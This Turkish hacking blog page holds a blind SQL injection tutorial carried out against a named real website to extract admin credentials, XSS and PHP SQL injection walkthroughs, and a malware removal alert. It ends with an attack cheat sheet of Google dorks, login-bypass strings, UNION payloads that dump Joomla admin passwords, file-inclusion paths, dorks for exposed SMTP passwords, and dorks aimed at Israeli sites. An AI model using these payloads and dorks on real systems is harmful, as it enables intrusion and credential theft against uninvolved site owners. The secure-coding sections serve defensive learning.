-
24 Nisan 2015 Cuma
MySQL Blind Injection Uygulama (Giriş Seviye)

MySQL Blind Injection Uygulama (Giriş Seviye)


Bu içinde bulunduğumuz makalede Mysql Blind Sql Injection’ın ne olduğunu anlatmaya çalışacağım ve uygulama yaparak bir sitenin bazı bilgilerini ele geçireceğiz.

Bir çok web yazılımcısı sql dilini kullanır, kullanmak zorundadır. Veritabanı ile en basitinden listeme, güncelleme, ekleme işlemleri yaparız. Fakat bu işlemleri yaparken kullandığımız web yazılım dili; sql dilini çok tehlikeli durumlara düşürebiliyor. Programlama dilinin tehlikelerinin yanında yazılımcının açık kapı bırakmasından dolayı da bu tür tehlikeler vardır.

Sql injection; sorgunun herhangi bir yerine eklenen karakterler ile fark edilir.

Örneğin:
http://www.site.com/konu.php?id=25 kısmında (25)’den sonra bir kesme işareti atarak, yani /konu.php?id=25 yaparak belirtilen durumun true false döndürmesine bakılır. Blind SQL’de bizim için mühim olan sayfanın true ve false döndürmesidir. Blind SQL’i nasıl tespit ederiz diye sorarsanız ben bilinen en basit yöntem olan and sorgusu ile sayfanın true veya false olma durumunu denetlemeyi göstermek isterim.

True -> http://www.site.com/konu.php?id=25 and 1=1
False -> http://www.site.com/konu.php?id=25 and 1=2
Eğer ki, 1=1 eşit olduğunda sayfa sorunsuz geliyorsa ama 1=2  eşit olduğunda sayfada bazı verilerde eksilme vs varsa (veritabanından gelen verilerin gelmemesi gibi) Blind SQLi yakalamışız demektir. Şimdi php&mysql blind injection güvenlik zafiyeti olan bir yabancı web sitesi üzerinden örnek vererek uygulamalarımıza başlayalım.

~ NORMAL SQL INJECTION BİLİNDİĞİNİZ VARSAYILARAK YAZILMIŞTIR BU MAKALE ~

İlk başta şunu söyleyerek başlayayım; bu örnek web sitesinde mysql blind sql injection var fakat normal sql sorguları da yiyor yani ekrana veri yansıtıyor. Blind Sql Injection’da ekrana veri asla yansımaz! Biz doğru-yanlışa göre kendimiz veriyi inşa ederiz. Ben ilk önce normal sql sorguları uygulayarak sitenin admin bilgilerini aldım, sorgum bu şekilde;

http://www.bozar.be/activity.php?id=11214+and+1=2+union+select+version(),database(),user(),4,5,6,7,8,9,concat(login,0x3a,password),11,12,13,14,15,16,17+from+users--

Burada da görüldüğü gibi tablo adımız: users, sütun(kolon) adlarımız: login ve password. Ekran çıktısının resmini de ekleyeyim:

Burada admin yazan kısım; elde etmek istediğimiz yönetici(admin) bilgilerimizdir. İşte şifrede md5 olarak gelmiş.

Şimdi aynı urlde and 1=1 ve and 1=2’ye göz atalım. Yani artık testlerimizi blind injection kodları ile yapacağız:

BAŞLIYORUZ...

http://www.bozar.be/activity.php?id=11214 and 1=1 yapalım. Sayfa karşımıza normal olarak gelecektir.

http://www.bozar.be/activity.php?id=11214 and 1=2 yapalım. Sayfa 404.php’ye yönlendi. Yani bir değişim meydana geldi. Eğer and 1=1 yaptığımızda da 404.php’ye atsaydı bir şey yok diyip geçerdik fakat and 1=1 de normalken yanlış durumunda(and 1=2) sayfada yanlış oluyor. Yani blind sql kabak gibi ortada?

Şimdi mysql versionunu kontrol edelim dilerseniz.
http://www.bozar.be/activity.php?id=11214 and substring(version(),1,1)=4 yaptık sayfa true (doğru) döndü. Eğer 4 yerine 5 yazsaydık versiyon 5 olmadığı için 404.php ye atacaktı (deneyebilirsiniz). He bu arada Myql Versiyonu 4 :)

Şimdi select yani seçme komutunu kabul edip etmediğine bakalım.
http://www.bozar.be/activity.php?id=11214+and+(select 1)=1 sayfa yine true döndü sorun yok devam.

Şimdi daha demin tablomuzu users olarak bulduğumu söylemiştim tabloyu test edelim blind komutu ile;
http://www.bozar.be/activity.php?id=11214 and (select 1 from tablo limit 0,1)=1 şimdi tablo adını tablo olarak yaptım 404.php’ye atacak çünkü öyle bir tablo adı yok. Tablo kısmını usersyapıp deneyelim sayfa sorunsuz gelecektir, bu da gösteriyor ki tablo adımız users.

http://www.bozar.be/activity.php?id=11214 and (select 1 from users limit 0,1)=1 true döndü devam.

Şimdi users tablosuna ait sütunları(kolon) test edelim;
http://www.bozar.be/activity.php?id=11214 and (select substring(concat(1,column),1,1) from users limit 0,1)=1
bu column yazan değeri değiştireceğiz bu şekilde girersek yine 404.php’ye atıcak çünkü column isimli bir sütun yok ki..

http://www.bozar.be/activity.php?id=11214 and (select substring(concat(1,login),1,1) from users limit 0,1)=1 yaptığımızda login isimli bir sütun olduğundan dolayı problemsiz olarak sayfa true dönecektir. Diğer columnuda password olarak buldum.

Devam edelim şimdi login ve password’u birleştirip 1.harf 2.harf 3.harf … diye giderek verileri çekmeye başlayalım.

Verileri birleştirme ve harf1’den başlama;
http://www.bozar.be/activity.php?id=11214 and ascii(substring((SELECT concat(column1,0x3a,column2) from tablo limit 0,1),1,1))>97

komutumuz bu burada tablo ve column bilgilerini yazıcaz. Bu 97 kısmı ne? derseniz ascii karakterleridir, harflerin sayı karşılığıdır.

www.asciitable.com adresinden bu karakterlere ayrıntılı şekilde göz atabilirsiniz. Ayrıca da blind injection için kullanılan kodları ve detaylarını google’da blind injection cheat sheet yazıp öğrenebilirsiniz.

http://www.bozar.be/activity.php?id=11214 and ascii(substring((SELECT concat(login,0x3a,password) from users limit 0,1),1,1))>96 sayfa düzgün geliyor, önemli olan sayfanın kopacağı yeri bulmak.. Yani false döneceği yeri. Fakat ondan önce bir şey açıklamak istiyorum.

Şimdi bu sayıları neye göre yazıyorsun? diyenler olabilir.

asciitable.com’da da görüldüğü gibi 0 ile 127 arasındaki tüm sayıları buraya yazabiliriz. Sayfa en önce hangi sayıda koparsa o veri bizim birinci harfimiz olacaktır. (Normal sql injection yöntemi gibi düşünebiliriz ki blind’e başlamadan önce normal sql injection konusunu bildiğinizi varsayıyorum)

http://www.bozar.be/activity.php?id=11214 and ascii(substring((SELECT concat(login,0x3a,password) from users limit 0,1),1,1))>97 yaptığımızda sayfa koptu, 96 da düzgündü 97 de gitti, yani 97 bizim ilk harfimizmiş. Hemen asciitable.com’dan bakıyoruz 97’nin karşılığı “a” yani daha demin başta resimde bilgilerin admin şeklinde olduğunu söylemiştim. Blind’de bize aynı sonucu veriyor.

2.Harf:
http://www.bozar.be/activity.php?id=11214 and ascii(substring((SELECT concat(login,0x3a,password) from users limit 0,1),2,1))>99 şimdi 2.harf için bu parantezler arasında 1,1 yazan yeri 2,1 olarak değiştiriyoruz.

2. harfin d olduğunu baştan biliyoruz zaten. asciitable de “d” nin karşılığı 100 onuda yazınca sayfa gidiyor zaten. 99 da düzgün, 100 de kopuyor. 2.harf d oluyor. böyle çoğaltarak gidiyoruz tek tek tüm harfleri alıyoruz. En son harfin bittiğini nasıl anlarız derseniz sayfa hiç kopmaz hep true döner 0 ile 127 arasında hep true dönüyorsa harf bitmiştir artık.

Sonuç olarak Blind SQL çok geniş bir kavramdır ve çok zahmetlidir. Ama çoğu büyük firmalarda dahil olmak üzere bu açığı barındırmaktadır ki şahsen büyük yerlerde de rastladım… Blind SQL’i diğer türlerden ayıran tek fark sorgu sonucunu sayfa tepkisi olarak yansıtmasıdır, yani doğru ve yanlış. Misal biz sorgumuzda açık kapı bırakıyoruz adamda ekleme yapıyor sorgumuza diyor ki:

select * from users where userid=1 diyor. userid’si 1 olan kişinin bilgilerini sayfaya çağırıyor true olarak geliyor. Biz de userid=2 yapıyoruz sayfa kopuyor bu normal bir tepki fakat eğer sorgumuzda yazım yanlışı yaparsak bu blind sql’e dönüşüyor. Php ve MySQL kullananlar için örnek bir sorgu vermek isterim;

<?php
$userid = (int)$_GET[“userid”];
$sorgu = mysql_query(“SELECT * FROM users WHERE userid=’$userid’”);
While($row = mysql_fetch_array($sorgu)){
Bilgiler şeklinde…
}
?>

Sorgularınızı bu tarz yazarsanız ve verinin integer olduğunu doğrularsanız açık kapı bırakmamış olursunuz!
Umarım sizin için hem saldırı hem güvenlik bazında faydalı bir döküman olmuştur, iyi çalışmalar :)

DEVAMINI OKU..
Xenotix XSS Exploit Framework ile XSS Tespiti

Xenotix XSS Exploit Framework ile XSS Tespiti

XSS (Cross-site Scripting) Zafiyeti Nedir?

Kaba yorum ile; web uygulamasında açığın meydana geldiği input/inject point (veri girişi) alanına gönderilen kötü niyetli javascript kodlarının, kullanıcının web tarayıcısında çalıştırıldığı bir saldırı türüdür. Yani Client-Side (kullanıcı taraflı) bir saldırıdır.
URL adreslerindeki query stringler ve form alanlarında sıklıkla görülür.
Phishing saldırılarına zemin oluşturur.
Genellikle POST ve GET metotlarının kullanıldığı alanlarda olur.

Çeşitleri:
Reflected (Yansıyan), Stored (Depolanan) ve Dom-based olarak üç çeşittir.

Reflected XSS

Stored XSS

Etkileri:
Yazılım betiklerinin kullanıcı tarafında çalıştırılması sonucunda kullanıcının oturum bilgileri çalınabilir, web tarayıcısı (browser) ele geçirilebilir veya bilgisayarına zararlı kodlar enjekte edilebilir ve bilgisayar yönetimi ele geçirilebilir...

XSS Zafiyeti Nasıl Oluşur?

Temel olarak web uygulamada kullanıcının veri girişi yaptığı alanlarda meta-karakterlerin filtrelenmemesinden kaynaklanmaktdır.

XSS Zafiyetine Nasıl Önlem Alınabilir?

  • Web uygulamasında kullanıcının veri girişine izin verilen alanlarda filtreleme yaparak bu açıkları kapatabilirsiniz. Veri girişinin filtrelenmesi kadar veri çıkışının da incelenmesi web uygulamalarının güvenliğini arttıracaktır.Aşağıda belirtilen meta-karakterlerin filtrelenmesi web uygulamaların XSS saldırılarına karşı güvenliğini sağlayacaktır:
['],[<],[>],[;],[/],[?],[=],[&],[#],[%],[{],[}],[|],[@],[\],["]
  • Çerezlerin güvenli hale getirilmesi web uygulamalarının güvenliğini arttırmak adına yapılabilecek en önemli işlemlerdendir. Çerezler içinde kullanıcı adı, şifre ve oturum durumunun saklanmasından kaçınılmalıdır. Eğer tutulması gerekiyorsa şifreli olarak tutulması tercih edilmelidir.
  • Donanımsal/Yazılımsal Web Application Firewall (WAF) ile web uygulamasında varolan bir zafiyetin saldırgan tarafından keşfedilme aşamasını zorlaştırıp, loglayıp, bloklayabilirsiniz.
  • Belirli periyotlarda içeriden ve dışarıdan web uygulama güvenlik testleri (penetrasyon testi) yaptırarak güvenlik açıklarının keşfi ve önlem alınması sisteminizi daha güvenli kılacaktır.

Xenotix XSS Exploit Framework ile Web Uygulamada XSS Tespiti

Xenotix XSS Exploit Framework Nedir? Ne iş yapar bu alet?
Web uygulamalarında çeşitli yöntemlerle XSS zafiyetinin keşfi ve sonrasında bulunan zafiyeti sömürebilmek için bünyesinde birçok exploiting araçları bulunmaktadır.

Amaç:
Hedef web uygulamasının veri girişi yapılabilen bir alanını (inject point) göze kestirip o alana yaklaşık 1600 küsür XSS payloadını otomatik test eden Xenotix programını kullanarak XSS tespit etmek.

Xenotix XSS Exploit Framework İndir/Download

Kullanımı:
Programı indirip çalıştırdığımızda hemen Settings menüsü altından Configure Server seçeneğine girip çıkan pencereden Xenotix'in XSS exploiting için kullandığı QuickPHP Web Server servisin başlaması için Start butonuna bastığımızda artık program iş yapmaya hazır hale gelecektir.
Hide butonuna basarak popup pencereyi kapatabilirsiniz.

URL kısmına hedef web uygulamasının linki eklenip Parameter kısmına da XSS'e uğrayan parametreyi yazıyoruz:

Daha sonra Scanner menüsünün altından GET Request Manuel Mode seçeneğini tercih edersek bir XSS payload sayacıyla karşılaşacağız ve Next Payload dedikçe sırayla kodları parametre sonrasına ekleyip üç farklı web tarayıcı üzerinde sonucu gösterecektir. Eğer GET Request Auto Mode seçeneğini tercih edersek de sayaçla uğraşmayacağız, Xenotix kendisi sırayla XSS payloadlarını deneyecektir, bize sadece ekrandan takip etmek düşecektir:

Görüldüğü gibi ben manuel modu seçtim ve next diyerek 19. payloadda XSS'i yakaladım. Üç farklı web tarayıcısında da başarılı bir şekilde çalıştığını gördüm.
Payload bölümünden hedef parametreye hangi XSS paylodının kullanıldığını görebiliriz.

NOT: Bir sonraki Xenotix makalemde, keşfedilen XSS zafiyeti sonrası programın exploiting özelliklerinden bahsedeceğim.
DEVAMINI OKU..
Turkcell ve Vodafone İsmini Kullanan Virüse Dikkat

Turkcell ve Vodafone İsmini Kullanan Virüse Dikkat

Merhaba arkadaşlar. Birkaç arkadaşım ve birkaç müşterimin şikayeti üzerine SecWis ekibiyle yaptığımız incelemede;
Son zamanlarda firmalara Turkcell ve Vodafone'dan yollanmış gibi görünen ve içerisinde virüs barındıran mailler gönderilmektedir. Turkcell'den gelen mail "Fatura Bildirimi" konu başlığı ile, Vodafone'dan gönderilen mail ise "Vodafone MMS message" başlığı ile gönderilmektedir. Ekli dosya içerisinde bulunan virüs 8000 portunu açarak, bulaştığı bilgisayarı "zombie" hale getirmektedir...
Analiz:
Exe içerisine scr uzantili (ekran koruyucusu) bir dosya inject edilmis. Exe yi çalistirinca scr çalisiyor. Bu dosya uzak bir baglanti açmiyor. Yani trojan degil. Bunu rahatlikla söyleyebilirim. SCR uzantisi içerisinde zararli kodlar var. Bu Windows shell kabugunda bazi degisiklikler yapip ufak çapta zarar veriyor. Ekran görüntüsü klasik moda geçiyor, regedite bir kaç kayit atiyor hepsi bu.

Bunun disinda, virüs 8000 portunu açiyor. Fakat simdilik herhangi bir yer ile iletisime geçmiyor. Bu yüzden bu bir botnet virüsü denebilir. Bulastigi bilgisayari ilerleyen zamanlarda zombi bilgisayar haline çevirmek için hazirlanmis olabilir.

Teknik detaylar resimdeki gibidir:





İlk çalistirildigi andan kendini XP ve türevleri için C:\Document and Settings\All Users klasörüne svchost.exe adinda kopyaliyor ve Regedit'e kaydediyor. Ayni zamanda Msconfig'e de kaydediyor. Windows 7 ve türevi isletim sistemine sahip pc ler için ise C:\Users\ klasörüne svchost.exe olarak kopyaliyor.

Temizlemek için, ekteki resimde dosya yoluna bakarak virüsü temizleyin ve ardindan ekteki dosyada belirtmis oldugum regedit kaydini temizleyin. Sorun düzelmis olur.

VEYA


1) Başlat > Çalıştır > msconfig yazıp enter tuşuna basıyoruz.
Açılan pencerede Başlangıç sekmesine geçin. Ve orada kb00740283.exe yi buluyor ve karşısındaki tiki kaldırıyoruz. Ayrıca bilgisayar başlangıcında şüphelendiğiniz ve bilmediğiniz programlar var ise onların işaretinide kaldırın.

2) Başlat > Çalıştır > regedit yazıp enter tuşuna basıyoruz. Ctrl + F tuş kombinasyonlarıyla arama penceresini çağırıyoruz. kb00740283.exe bunu arıyoruz ne varsa siliyoruz.


Güvenli günler dilerim...
DEVAMINI OKU..
PHP Scriptlerde SQLi Tespiti ve Exploit Etme

PHP Scriptlerde SQLi Tespiti ve Exploit Etme

NŞA'da PHP scriptler üzerinde iki yöntem ile zafiyet araştırmaları yapılabilir.

  1. Manuel Araştırma
  2. Otomatik Taramalarla

Biz bu makalede iki yöntemi de kullanarak temel anlamda PHP scriptlerde zafiyetler (SQLi, XSS, RCE, LFI vb.) nasıl keşfedilir ve nasıl exploit (sömürme) edilebilir bunlara değineceğiz.

SQL Injection Nedir?

Web uygulamalarında birçok işlem için kullanıcıdan alınan veri ile dinamik SQL cümlecikleri oluşturulur. Örneğin; "SELECT * FROM Products" örnek SQL cümleciği basit şekilde veritabanından web uygulamasına tüm ürünleri döndürecektir. Bu SQL cümlecikleri oluşturulurken araya sıkıştırılan herhangi bir meta-karakter SQL Injection'a neden olabilir.

Öncelikle örnek olması açısından SQL Injection açığı barındıran bir betik ile başlayalım.
Betiğimizin görevi; üye id'sine göre veritabanından o id'ye sahip üyenin bilgilerini ekrana yazdırmaktadır.

sqli isimli bir veritabanı oluşturdum ve içinde uye isimli bir tablo mevcut. Tablonun da 4 adet sütunu var. Sütunlar: id, username, password, email
Son olarak da içine örnek birkaç adet veri girişi yaptım:

Betiğimizi oluşturan uye.php dosyasının kodları aşağıdaki gibidir:
<?php 
$baglan = mysql_pconnect("localhost","root","123456");    / veritabanına bağlanıyoruz
$baglan = mysql_select_db("sqli",$baglan);    / oluşturduğumuz veritabanımızı seçiyoruz
$id = $_GET["id"];
$sorgu = "SELECT * FROM uye WHERE id=".$id;

$cek = mysql_fetch_object(mysql_query($sorgu)); 
echo 'Olusan Sorgu: '.$sorgu."<br>";
echo $cek->username."<br>".$cek->email; 
?>
Bu betiği SQL Injection'a uğratan kod kısımlarını kırmızı renkle vurgulayarak gösterdim..
Böyle bir kod yazımı göstere göstere SQL Injection zafiyetine zemin oluşturmaktadır. Zafiyete neden olan id= query stringinin filtrelenmeden dinamik sql sorgusuyla birleştirilmesidir.

Manuel yolla ve genel olarak PHP scriptlerde SQL Injection zafiyetini yukarıdaki kod örneğindeki gibi tespitini yapabiliriz. Yani dinamik sorgu cümleciklerine ve hangi yöntemlerle sorgu çekildiklerine odaklanılmalıdır.

uye.php çalıştırıldığında görüldüğü gibi 1 id'sindeki bilgiler yani benim bilgilerim ekrana yazdırıldı:

Fakat zayıf bir kod yazım şekli kullandığımız için şimdi bunu SQL Injection saldırısına uğratalım, nasıl mı? id=1 ifadesinden sonra ' (tek tırnak) meta-karakterini kullanarak:


Sayfa Warning: mysql_fetch_object()... hatası verdi! Şimdi sıra geldi bunu sömürmeye yani exploit etmeye :) Veritabanından hassas veriyi sızdırıyoruz:

Görüldüğü gibi bilgiler ekrana yansıdı:
username: ismailsaygili
password: iso123

Aynı exploiting işlemini bir de otomatize araç olan SQLMap ile exploit edelim:

Script üzerinde manuel yöntemle SQL Injection zafiyetini keşfetmiştik, şimdi de otomatik olarakRIPS yazılımı aracılığıyla PHP scriptler üzerinde zafiyet araştırması yapalım. Bu arada RIPS; PHP için statik kodlarda zafiyet analizi yapan bir yazılımdır.

RIPS Kurulumu ve Kullanımı

RIPS hiç bir kurulum gerektirmez! Tak-Çalıştır mantığı :)

Öncelikle RIPS'i buradan indirelim. rips klasörünü localhost'unuza kopyalayın ve web tarayıcınızla ilgili URL'e gidin:


1. Adımda: Taramak istediğiniz PHP scriptin klasör yolu belirtilir. Ben yukarıda örneğini yaptığımız betiğin klasör yolunu yazdım, çünkü şuan onu tarayacağız.

2. Adımda: Zafiyet tipi seçilir. Ben SQL Injection zafiyetini seçtim.

3. Adımda: subdirs'i seçersek belirttiğiniz klasör yolunun alt klasörleri de taranacaktır.

4. Adımda: Son olarak scan butonuna basarak taramayı başlatıyoruz.

Ben taramamı yaptım ve sonuç bu şekilde:

Görüldüğü üzere RIPS, 7. satırda SQL Injection zafiyeti tespit etti. Yukarıda biz manuel denetim yaparken keşfettik hatırladınız mı? :)

Hocam zayıf kodu paylaştınız, peki bu kodun güvenli hali nasıl yazılır?
Güvenli Kod 1:
<?php

$baglan = mysql_pconnect("localhost","root","123456");
$baglan = mysql_select_db("sqli",$baglan); 
$id = (int) intval($_GET["id"]); // değişken tipi belirlenerek integer koruması sağlandı
$sorgu = "SELECT * FROM uye WHERE id=".$id;
$cek = mysql_fetch_object(mysql_query($sorgu)); 
echo 'Olusan Sorgu: '.$sorgu."<br>";
echo $cek->username."<br>".$cek->email;

?>
id değişkeninin tipini belirleyerek integer koruması sağlamış olduk. Yani saldırgan http://localhost/sqli/uye.php?id=1 URL'inden sonra tek tırnak meta-karakterini eklediğinde amacına ulaşamayacaktır çünkü id= query'sinden sonra sadece integer değerler kabul edilecektir. String yani karakter dizileri kabul edilemeyecektir.
Gördüğünüz gibi kullanıcı adı ve şifreyi veritabanından çekemiyoruz :(

SQL Injection'dan korunma tabi ki sadece bununla sınırlı değildir.. Örneğin id değişkeni mysql_real_escape_string fonksiyonu içine alınarak SQL sorguları için zararlı olabilecek karakterlerin başına \ ekler.

Diğer SQL Injection'dan Korunma Yöntemleri

  • Web uygulamalarında SQL Injection saldırısı yapmakta kullanılan komut ve karakterlerin geçişi engellenmelidir. Veri girişinin filtrelenmesi kadar veri çıkışının da incelenmesi web uygulamanın güvenliğini arttıracaktır.
  • Aşağıda belirtilen karakterlerin filtrelenmesi web uygulamanın SQL Injection ve olası diğer saldırılara karşı güvenliğini sağlayacaktır:
    • ['],[<],[>],[;],[/],[?],[=],[&],[#],[%],[{],[}],[|],[@],[\],[union],[exec],[select],[insert], [update],[delete],[drop],[sp],[xp],["]
  • Veritabanı Bağlantılarının Yetkilerinin Düşürülmesi
    • Web uygulamanın veritabanına bağlanıp kayıtları okurken ve yazarken kullandığı hesabın yetkilerinin minimumda tutulması olası SQL Injection saldırısının zararlarını azaltacaktır.
  • Hata Mesajlarının Engellenmesi
    • Saldırganların hata mesajlarından bilgi almasını engellemek için hata mesajlarının görüntülenmesini engellemek sistemi daha güvenli hale getirecektir.
  • SA Hesabının Korunması
    • MS SQL sunucu üzerinde bulunan SA hesabının güçlü bir şifreye sahip olması brute-force saldırına karşı sistemin güvenliğini arttırmak için gerekli etkenlerden biridir. Web uygulamalarının SA hesabı ile veritabanına bağlanmasını engellemeliyiz! Olası SQL Injection sonucu saldırganın SA yetkilerinde kod çalıştırabileceğini unutmayınız.
  • Kaynak Kodların Kontrol Edilmesi
    • Web uygulamalarının kaynak kodlarının olası saldırılara karşı denetlenmesi gerekmektedir. Özellikle kullanıcının veri girişine müsade edilen alanlar ve URL alanında yapılabilecek değişikliklere karşı filtrelemelerin uygulanmasını sağlamalıyız.
  • Veritabanındaki Kayıtların Şifrelenmesi
    • Özellikle kullanıcıların şifrelerinin tutulduğu alanların şifrelenerek veritabanına yazılması olası veritabanındaki bilgilere ulaşılması durumuna karşı ekstra güvenlik sağlayacaktır.
  • Yazılımsal veya donanımsal olarak Web Application Firewall (WAF) kullanımı

Pekiştirmek açısından bir örnek daha yapmak istiyorum.
PHP script olan TopGames v1.2 sürümünde daha önceden SQL Injection açığı keşfedilmiş (http://www.exploit-db.com/exploits/26405/).

Haydi bunun sağlamasını RIPS ile tarayarak yapalım.. sonuç ortada:

SQL Injection dışında bir de Cross-Site Scripting (XSS) zafiyeti keşfettik :)

play.php dosyasının 4. satırında SQL Injection zafiyeti ($_GET["gid"]) ve cat.php dosyasının 4. satırında ($_GET["id"]) XSS zafiyeti mevcutmuş.

SQL Injection zafiyetini bu seferde Havij ile exploit edelim:

Bir de bulduğumuz XSS zafiyetini test edelim:

Sonuç başarılı...

TopGames scriptinde bulduğumuz XSS zafiyetini Exploit-DB'ye mi bildirsek ne? :)
DEVAMINI OKU..
no image

Sizin İçin Arşivden Çinurl:/login.php intext:"Welcome, Admin"
inurl:/panel/ intext:"Welcone, Admin"
inurl:/panel/ intext:"Welcone, Admin" ext:php
inurl:/manage/ ext:php
inurl:/admin/ ext:php
inurl:/admin2/ ext:php
inurl:/easy-comment-uploads/upload-form.php
inurl:index.php?option=com_fabrik

user : ' or 1=1 limit 1 -- -+
pass : ' or 1=1 limit 1 -- -+
' or 1=1--
'=' 'or'

----------------------------------------------------------------------------------

inurl:/cgi-bin/filechucker.cgi
intext:Toptown File Upload
inurl:/cgi-bin/filechucker.pl
intext:File Upload by Encodable


---------------------------------------------------------------------------------
1. Google dork = allinurl:option=com_user |==========================
[x]. Cek Vuln
site/index.php?option=com_user&view=reset&layout=confirm

[x]. Cek UID n Pass Admin
site/index.php?option=com_docman&task=doc_details&gid=3&Itemid=1
site/index.php?option=com_docman&task=doc_details&gid=3&Itemid=2
site/index.php?option=com_docman&task=doc_details&gid=3&Itemid=3

"sampai muncul tabel informasi"

[x]. Login
Site/administrator
______________________________________________________________________
2. Google dork = allinurl:mod.php?mod=publisher |
==============================
[x]. Cek Vuln
site/mod.php?mod=publisher&op=viewcat&cid=2'

[x]. Cek UID n Pass Admin
site/mod.php?mod=publisher&op=viewcat&cid=-2+union+all+select+1,group_concat(aid,0x3a,name,0x3a,pwd),3+from+authors--

[x]. Login
site/admin.php
______________________________________________________________________
3. Google dork = inurl:com_gameserver |
========================
[x]. Cek Vuln
Site/index.php?option=com_gameserver&view=gamepanel&id=3'

[x]. Cek UID n Pass Admin
site/index.php?option=com_gameserver&view=gamepanel&id=3+union+select+1,2,group_concat(username,char(58),password),4+from+jos_us​ers-–

[x]. Cek Login
site/path/path/path/admin
______________________________________________________________________
4. Google dork = inurl:com_digifolio |
======================
[x]. Cek Vuln
site/index.php?option=com_digifolio&view=project&id=2'

[x]. Cek UID n Pass Admin
site/index.php?option=com_digifolio&view=project&id=-2+union+all+select+1,group_concat(username,char(58),password),3+from+jos_users-–

[x]. Cek Login
site/admin
______________________________________________________________________
5. Google dork = inurl:com_siirler |
====================
[x]. Cek Vuln
site/index.php?option=com_siirler&task=sdetay&sid=
3'

[x]. Cek UID n Pass Admin

site/index.php?option=com_siirler&task=sdetay&sid=
-3+union+all+select+1,2,concat(username,char(58),password),4+from+jos_users–-

[x]. Cek Login
site/admin
______________________________________________________________________
6. Google dork = Powered by PHP Live! v3.3 |
============================
[x]. Cek Vuln
site/message_box.php?theme=&l=[username]&x=[xxx]&deptid=2'

[x]. Cek UID n Pass Admin
site/message_box.php?theme=&l=[username]&x=[xxx]&deptid=-2+union++all+select+1,group_concat(login,char(58),password),3,4,5+from+chat_admi​n–


[x]. Cek Login
site/admin
______________________________________________________________________
7. Google dork = allinurl:option=com_livechat |
============================
[x]. Cek Vuln
site/administrator/components/com_livechat/getChat.php?chat=0&last=3'

[x]. Cek UID n Pass Admin
site/administrator/components/com_livechat/getChat.php?chat=0&last=-3+union+all+select+1,2,unhex(hex(concat(username,0×3a,password))),4+from+"masih jadi misteri!!"
______________________________________________________________________
8. Google dork = allinurl:com_idoblog |
[x]. Cek Vuln
site/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62'

[x]. Cek UID n Pass Admin
site/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0×3a,username,password)
,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users–





------------------------------------------------------------------------------------------------
[~] Dork:

inurl:option=com_sermonspeaker

[~] Vulnerable :

http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=[SQL]

[~] ExploiT :

-9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/

[~] Example :

http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=
-9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/

inurl:/kindeditor/examples/uploadbutton.html

------------------------------------------------------------------------------------------------inurl:index.php?CatId=
inurl:product.php?catid=[/color]
inurl:issues.php?catid=
inurl:cgi-bin/categories.php?catid=
inurl:newsdetail.php?catid=
inurl:classified-listing.php?catId=

-----------------------------------------------------------------

/includes/functions.php?phpbb_root_path=
/admin/admin_linkdb.php?phpbb_root_path=
/admin/admin_forum_prune.php?phpbb_root_path=
/admin/admin_extensions.php?phpbb_root_path=
/admin/admin_board.php?phpbb_root_path=
/admin/admin_attachments.php?phpbb_root_path=
/admin/admin_users.php?phpbb_root_path=
/includes/archive/archive_topic.php?phpbb_root_path=
/admin/modules_data.php?phpbb_root_path=
/faq.php?foing_root_path=
/index.php?foing_root_path=
/list.php?foing_root_path=
/login.php?foing_root_path=
/playlist.php?foing_root_path=
/song.php?foing_root_path=
/gen_m3u.php?foing_root_path=
/view_artist.php?foing_root_path=
/view_song.php?foing_root_path=
/login.php?foing_root_path=
/playlist.php?foing_root_path=
/song.php?foing_root_path=
/flash/set_na.php?foing_root_path=
/flash/initialise.php?foing_root_path=
/flash/get_song.php?foing_root_path=
/includes/common.php?foing_root_path=
/admin/nav.php?foing_root_path=
/admin/main.php?foing_root_path=
/admin/list_artists.php?foing_root_path=
/admin/index.php?foing_root_path=
/admin/genres.php?foing_root_path=
/admin/edit_artist.php?foing_root_path=
/admin/edit_album.php?foing_root_path=
/admin/config.php?foing_root_path=
/admin/admin_status.php?foing_root_path=
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------

smtppass: ext:txt
inurl:webconfig password: ext:txt
inurl:config ext:txt
inurl:joomla smtppass: ext:txt
inurl:wp smtppass: ext:txt
langsung email
gmail smtppass: ext:txt
yahoo smtppass: ext:txt
--------------------------------------------------------
--------------------------------------------------------------Dork Com User-----------------------------------------------------
intext:Joomla! is a flexible and powerful platform, whether you are building a small site for yourself or a huge site with hundreds of thousands of visitors
intext:"joomla! 1.7 - Open Source Content Management" inurlConfusedaferpage.de
intext:"joomla! 1.7 - Open Source Content Management" inurl:cuwhois.com
intext:"joomla! 1.7 - Open Source Content Management" inurlConfusedtatmyweb.com
intext:"joomla! 1.7 - Open Source Content Management" inurl:domainsigma.com
intext:"joomla! 1.7 - Open Source Content Management" inurl:domainmetrics.de


Joomla 1.6
intext:"joomla! 1.6 - Open Source Content Management" inurlConfusedaferpage.de
intext:"joomla! 1.6 - Open Source Content Management" inurl:cuwhois.com
intext:"joomla! 1.6 - Open Source Content Management" inurlConfusedtatmyweb.com
intext:"joomla! 1.6 - Open Source Content Management" inurl:domainsigma.com
intext:"joomla! 1.6 - Open Source Content Management" inurl:domainmetrics.de
--------------------------------------------------------
inurl:/wp-content/themes/shepard
inurl:/wp-content/themes/money
inurl:/wp-content/themes/clockstone
inurl:/wp-content/themes/ambleside
inurl:/wp-content/themes/pacifico
inurl:ptype=store site: Exploit :/wp-content/themes/framework/upload/ hasil : /wp-content/uploads/products_img/[BACKDOORNAME.php]
inurl:"/wp-content/plugins/spotlightyour/"
----------------------------------------------------------
inurl:"id=" & intext:"Warning: preg_match() " site:.il
inurl:"id=" & intext:"Warning: ilesize() " site:.co.il
inurl:"id=" & intext:"Warning: filesize() " site:.co.il
inurl:"id=" & intext:"Warning: require() " site:.co.il
inurl:"id=" & intext:"Warning: mysql_fetch_assoc() " site:.co.il
inurl:"id=" & intext:"Warning: mysql_fetch_assoc() " site:.co.il
inurl:"id=" & intext:"Warning: mysql_fetch_assoc() " site:.co.il
inurl:"id=" & intext:"Warning: mysql_fetch_array() " site:.au
inurl:"id=" & intext:"Warning: mysql_num_rows() " site:.co.il
inurl:"id=" & intext:"Warning: session_start() " site:.il
